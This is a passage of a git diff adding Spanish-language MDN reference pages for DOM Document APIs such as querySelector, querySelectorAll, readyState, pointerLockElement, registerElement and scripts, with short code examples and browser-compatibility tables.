+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_Relacionados">Eventos Relacionados</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
diff --git a/files/es/web/api/document/pointerlockelement/index.html b/files/es/web/api/document/pointerlockelement/index.html
new file mode 100644
index 0000000000..cc5d490e5c
--- /dev/null
+++ b/files/es/web/api/document/pointerlockelement/index.html
@@ -0,0 +1,105 @@
+---
+title: Document.pointerLockElement
+slug: Web/API/Document/pointerLockElement
+translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad <code>pointerLockElement</code> conserva el elemento adquirido, para el evento del mouse, mientras el bloqueo se encuentre activo .  Es <code>null</code> si el bloqueo se encuentra en estado pendiente para bloqueo, o si el bloqueo se ha liberado, es decir ya no se encuentra en estado bloqueado, o si el elemento bloqueado se encuentra en otro documento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var elemento = document.pointerLockElement;
+</pre>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Un {{domxref("Element")}} o <code>null</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Bloquear puntero','l#extension-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer lock')}}</td>
+   <td>Extiende de la interfaz <code>Document</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad del Navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("moz")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte sin prefijar</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también:</h2>
+
+<ul>
+ <li>{{ domxref("Document.exitPointerLock()") }}</li>
+ <li>{{ domxref("Element.requestPointerLock()") }}</li>
+ <li><a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock</a></li>
+</ul>
diff --git a/files/es/web/api/document/queryselector/index.html b/files/es/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..b442ba5bbb
--- /dev/null
+++ b/files/es/web/api/document/queryselector/index.html
@@ -0,0 +1,136 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+  - API
+  - Consulta
+  - DOM
+  - Referencias(2)
+  - Referências
+  - Selectores
+  - metodo
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div>Devuelve el primer elemento del documento (utilizando un <a href="http://en.wikipedia.org/wiki/Tree_traversal#Pre-order_2">recorrido primero en profundidad pre ordenado</a> de los nodos del documento) que coincida con el grupo especificado de selectores.</div>
+
+<div> </div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: js">element = document.querySelector(selectores);
+</pre>
+
+<p>Donde:</p>
+
+<ul>
+ <li><code>element</code> es un objeto de tipo <a href="/en-US/docs/DOM/element" title="en-US/docs/DOM/element">element</a>.</li>
+ <li><code>selectores</code> es una cadena de caracteres que contiene uno o más <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selectores CSS</a> separados por coma.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>En este ejemplo, obtendremos el primer elemento del documento con la clase "miClase":</p>
+
+<pre class="brush: js">var el = document.querySelector(".miClase");
+</pre>
+
+<h2 id="Notes" name="Notes">Ejemplo más útil</h2>
+
+<p>Los <em>Selectores</em> pueden ser muy útiles como se demostrará en el siguiente ejemplo. Aquí, será retornado el primer elemento <code>&lt;input name="login" /&gt;</code> dentro de <code>&lt;div class="user-panel main"&gt;</code>.</p>
+
+<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name='login']");</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<ul>
+ <li>Devuelve <code>null</code> si no se encuentran coincidencias, de lo contrario, retorna el primer elemento  encontrado.</li>
+ <li>Si el selector coincide con un ID y este ID es usado erróneamente varias veces en el documento, devuelve el primer elemento encontrado.</li>
+ <li>Lanza una excepción de tipo SYNTAX_ERR si el grupo de selectores especificado es no es válido.</li>
+ <li><span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">querySelector() se introdujo en la <a href="http://www.w3.org/TR/selectors-api/">API Selectors</a>.</span></li>
+ <li>La cadena de caracteres que se pasa como argumento a <code><span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">querySelector debe seguir la sintaxis CSS.</span></code></li>
+ <li>Las Pseudo-clases CSS nunca devolverán elementos, tal y como está especificado en la <code><a href="http://www.w3.org/TR/selectors-api/#grammar">AP​I Selectors</a></code>.</li>
+ <li>Para que coincidan ID's o selectores que no siguen la sintáxis CSS (usando inapropiadamente dos puntos o un espacio por ejemplo), se debe 'escapar' el carácter con una barra invertida (\). Como la barra invertida es un carácter de 'escape' en JavaScript, si estás indicando una cadena de caracteres literal, debes 'escaparla' dos veces (una para la cadena de caracteres JavaScript y otra para el querySelector): </li>
+</ul>
+
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#foo\bar');               // "#fooar"
+  document.querySelector('#foo\bar');    // No coincide con nada
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\\\bar'); // Coincide con el primer div
+
+  document.querySelector('#foo:bar');    // No coincide con nada
+  document.querySelector('#foo\\:bar');  // Coincide con el segundo div
+&lt;/script&gt;
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad en los navegadores</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Plataforma</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>1</td>
+   <td>3.5 (1.9.1)<br>
+    {{bug(416317)}}</td>
+   <td>8</td>
+   <td>10</td>
+   <td>3.2 (525.3)<br>
+    {{Webkitbug("16587")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Plataforma</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>2.1</td>
+   <td>Si</td>
+   <td>9</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Snippets para querySelector</a></li>
+</ul>
diff --git a/files/es/web/api/document/queryselectorall/index.html b/files/es/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..7f041b6e84
--- /dev/null
+++ b/files/es/web/api/document/queryselectorall/index.html
@@ -0,0 +1,179 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - Buscando Elementos
+  - DOM
+  - Document
+  - Encontrando Elementos
+  - Localizando Elementos
+  - Métodos
+  - Referencia
+  - Seleccionando Elementos
+  - Selectores
+  - Selectores CSS
+  - querySelectorAll
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>El método <strong><code>querySelectorAll()</code></strong> de un {{domxref("Element")}} devuelve una {{domxref("NodeList")}} estática (no viva) que representa una lista de elementos del documento que coinciden con el grupo de selectores indicados.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esto método se implementa en base al método {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} del mixin {{domxref("ParentNode")}}.</p>
+</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>selectors</code></dt>
+ <dd>Un {{domxref("DOMString")}} que contiene uno o más selectores para buscar coincidencias. Esta cadena de texto debe ser una cadena <a href="/en-US/docs/Web/CSS/CSS_Selectors">CSS selector</a> válida; si no lo es, se lanzará una excepción <code>SyntaxError</code>. Vea <a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a> para más información acerca de utilizar selectores para identificar elementos. Se pueden especificar varios selectores separándolos utilizando comas.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Nota:</strong> Los caracteres que no son parte de la sintaxis estándar de CSS deben ser escapados utilizando el caracter de barra invertida. Dado que JavaScript también utiliza el escapado por retroceso, se debe tener especial cuidado al escribir cadenas de texto literales utilizando estos caracteres. Vea {{anch("Escapando caracteres especiales")}} para más información.</p>
+</div>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{domxref("NodeList")}} <em>no viva</em> que contenga un objeto {{domxref("Element")}} para cada elemento que coincida con al menos uno de los selectores especificados o una {{domxref("NodeList")}} vacía en caso de que no haya coincidencias.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si los selectores indicados incluyen un <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elemento CSS</a>, la lista devuelta siempre estará vacía.</p>
+</div>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>La sintaxis de la cadena de texto <code>selectors</code> no es válida.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Obteniendo_una_lista_de_coincidencias">Obteniendo una lista de coincidencias</h3>
+
+<p>Para obtener una {{domxref("NodeList")}} de todos los elementos {{HTMLElement("p")}} en el documento:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll('p');</pre>
+
+<p>Este ejemplo devuelve una lista de todos los elementos {{HTMLElement("div")}} del documento con una clase "<code>nota</code>" o "<code>alerta</code>":</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll('div.nota, div.alerta');
+</pre>
+
+<p>Aquí, se obtiene una lista de elementos <code>&lt;p&gt;</code> cuyo elemento padre inmediato es un {{domxref("div")}} con la clase <code>"highlighted"</code> y que está ubicado dentro de un contenedor cuyo ID es <code>"test"</code>.</p>
+
+<pre class="brush: js">var container = document.querySelector('#test');
+var matches = container.querySelectorAll('div.highlighted &gt; p');</pre>
+
+<p>Este ejemplo usa un <a href="es/docs/Web/CSS/Selectores_atributo">selector de atributos</a> para devolver una lista de elementos {{domxref("iframe")}} en el documento que contienen un atributo llamado <code>"data-src"</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll('iframe[data-src]');</pre>
+
+<p>Aquí, un selector de atributo se utiliza para devolver una lista de los elementos de una lista cuyo ID es <code>"userlist"</code> que tiene un atributo <code>"data-active"</code> cuyo valor es <code>"1"</code>:</p>
+
+<pre class="brush: js">var container = document.querySelector('#userlist');
+var matches = container.querySelectorAll('li[data-active="1"]');</pre>
+
+<h3 id="Accediendo_a_las_coincidencias">Accediendo a las coincidencias</h3>
+
+<p>Una vez que se devuelve la {{domxref("NodeList")}} de los elementos que coinciden, se puede examinar como cualquier <code>array</code>. Si el array está vacío (lo que significa que su propiedad <code>length</code> es 0), entonces es que no se encontraron coincidencias.</p>
+
+<p>En cualquier caso, se puede simplemente utilizar la notación estándar de los arrays para acceder al contenido de la lista. Se puede usar cualquier sentencia de iteración, como por ejemplo:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll('.highlighted');
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<h2 id="Notas_de_usuario">Notas de usuario</h2>
+
+<p><code>querySelectorAll()</code> se comporta de forma diferente que la mayoría de librerías DOM de JavaScript, que pueden llevar a resultados inesperados.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Considere este HTML, con sus tres bloques anidados {{HTMLElement("div")}}.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+</pre>
+
+<p>En este ejemplo, cuando se selecciona <code>".outer .inner"</code> en el contexto el <code>&lt;div&gt;</code> con la clase <code>"select"</code>, el elemento con la clase <code>".inner"</code> todavía es encontrado, aun sabiendo que <code>.outer</code> no es descendiente del elemento base sobre el que se realiza la búsqueda (<code>".select"</code>). Por defecto, <code>querySelectorAll()</code> sólo verifica que el último elemento en el selector se encuentra dentro del rango de búsqueda.</p>
+
+<p>La pseudo-clase {{cssxref(":scope")}} recupera el comportamiento esperado, encontrando coincidencias sólo en selectores descendientes del elemento base:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Estándar vivo</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Definición original</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+</div>
+
+<h2 id="Ver_también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Localizando elementos DOM utilizando selectores</a></li>
+ <li><a href="/es/docs/Web/CSS/Selectores_atributo">Selectores de atributo</a></li>
+ <li><a href="/es/docs/Learn/CSS/Introduction_to_CSS/Selectores_de_Atributos">Selectores de atributo</a> en el área de aprendizaje de MDN</li>
+ <li>{{domxref("Element.querySelector()")}} y {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} y {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} y {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Snippets de código para <code>querySelector()</code></a></li>
+</ul>
diff --git a/files/es/web/api/document/readystate/index.html b/files/es/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..7e5a24c5d8
--- /dev/null
+++ b/files/es/web/api/document/readystate/index.html
@@ -0,0 +1,104 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+translation_of: Web/API/Document/readyState
+---
+<div>{{APIRef("DOM")}} {{ gecko_minversion_header("1.9.2") }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <strong>Document.readyState</strong> de un {{ domxref("document") }} describe el estado de carga del documento.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El readyState de un documento puede tener uno de los siguientes valores:</p>
+
+<dl>
+ <dt>loading</dt>
+ <dd>El {{ domxref("document") }} todavía esta cargando.</dd>
+ <dt>interactive</dt>
+ <dd>El documento ha terminado de cargar y ha sido analizado pero  los sub-recursos como imágenes, estilos y frames aún siguen cargando. El estado indica que el evento {{event("DOMContentLoaded")}} ha sido disparado.</dd>
+ <dt>complete</dt>
+ <dd>El documento y todos los sub-recursos han cargado completamente. El estado indica que el evento {{event("load")}} ha sido disparado.</dd>
+</dl>
+
+<p>Cuando el valor de esta propiedad cambia, un evento {{event("readystatechange")}} se dispara en el objecto {{ domxref("document") }}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js"><em>var string</em> = document.readyState;
+</pre>
+
+<h2 id="Ejemplos"><span>Ejemplos</span></h2>
+
+<h3 id="Diferentes_estados_del_readyState">Diferentes estados del readyState</h3>
+
+<pre class="brush: js"><span>switch (document.readyState) {
+  case "loading":
+    // The document is still loading.
+    break;
+  case "interactive":
+    // The document has finished loading. We can now access the DOM elements.
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // The page is fully loaded.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}</span>
+</pre>
+
+<h3 id="readystatechange_como_alternativa_al_evento_DOMContentLoaded">readystatechange como alternativa al evento DOMContentLoaded</h3>
+
+<pre class="brush:js">// alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_como_alternativa_al_evento_load">readystatechange como alternativa al evento load</h3>
+
+<pre class="brush: js">// alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Evento {{event("readystatechange")}}</li>
+ <li>Evento {{event("DOMContentLoaded")}}</li>
+ <li>Evento {{event("load")}}</li>
+</ul>
diff --git a/files/es/web/api/document/registerelement/index.html b/files/es/web/api/document/registerelement/index.html
new file mode 100644
index 0000000000..504cf8314b
--- /dev/null
+++ b/files/es/web/api/document/registerelement/index.html
@@ -0,0 +1,115 @@
+---
+title: Document.registerElement()
+slug: Web/API/Document/registerElement
+translation_of: Web/API/Document/registerElement
+---
+<p>{{APIRef("DOM")}}{{Deprecated_header}}{{draft()}}</p>
+
+<p>El <code><strong>Document.registerElement()</strong></code> registra un nuevo <a href="/en-US/docs/Web/Web_Components/Custom_Elements">elemento personalizado</a> en el navegador y devuelve un constructor para el nuevo elemento.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta es una tecnología experimental. El navegador que utilice debe ser compatible con Web Components. Ver <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Web Components habilitados en Firefox</a>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>tag-name</em></dt>
+ <dd>El nombre del elemento personalizado. El nombre debe contener un guión (-), por ejemplo <code>my-tag</code>.</dd>
+ <dt><em>options {{optional_inline}}</em></dt>
+ <dd>Un objeto que da nombre al prototipo que sirve de base para el elemento personalizado, y una etiqueta existente para extender. Ambos son opcionales.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Aquí hay un ejemplo muy simple:</p>
+
+<pre class="brush: js">var Mytag = document.registerElement('my-tag');
+</pre>
+
+<p>Ahora el nuevo tag se ha registrado en el navegador. La variable MyTag contiene un constructor que lo puedes usar para crear un elemento my-tag  en el documento de la siguiente manera:</p>
+
+<pre class="brush: js">document.body.appendChild(new Mytag());</pre>
+
+<p>Esto inserta un elemento my-tag vacío que será visible si utiliza las herramientas de desarrollo del navegador. No será visible si usa la capacidad de ver el código fuente del navegador. Y no será visible en el navegador a menos que agregue algún contenido para la etiqueta. Esta es la manera de agregar contenido a la nueva etiqueta:</p>
+
+<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Custom Elements')}}</td>
+   <td>{{Spec2('Custom Elements')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a dir="ltr" href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Custom_Elements">Custom Elements</a></li>
+</ul>
diff --git a/files/es/web/api/document/scripts/index.html b/files/es/web/api/document/scripts/index.html
new file mode 100644
index 0000000000..254df25276
--- /dev/null
+++ b/files/es/web/api/document/scripts/index.html
@@ -0,0 +1,84 @@
+---
+title: Document.scripts
+slug: Web/API/Document/scripts
+translation_of: Web/API/Document/scripts
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Devuelve una lista de elementos {{HTMLElement("script")}} ubicados en el documento. El objeto devuelto es una colección {{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintáxis</h2>
+
+<pre class="syntaxbox"><code>var <em>scriptList</em></code> = document.scripts;
+</pre>
+
+<p>El objeto <code>scriptList</code> devuelto es una {{domxref("HTMLCollection")}}. Se puede utilizar como un array corriente para acceder a sus elementos.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo busca demostrar la existencia de objetos {{HTMLElement("script")}} en el documento.</p>
+
+<pre class="brush:js">var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("This page has scripts!");
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification"> </h2>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<ul>
+ <li>{{spec("http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#dom-document-scripts", "DOM: document scripts")}}</li>
+</ul>
diff --git a/files/es/web/api/document/scroll_event/index.html b/files/es/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..944d539834
--- /dev/null
+++ b/files/es/web/api/document/scroll_event/index.html
@@ -0,0 +1,104 @@
+---
+title: scroll
+slug: Web/API/Document/scroll_event
+translation_of: Web/API/Document/scroll_event
+---
+<p>El evento <strong><code>scroll</code></strong> se produce cuando la vista del documento o un elemento es deslizado.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#scrolling-0">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No en elementos, pero burbujea a la vista default cuando se ejecuta en el documento</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Objetivo</dt>
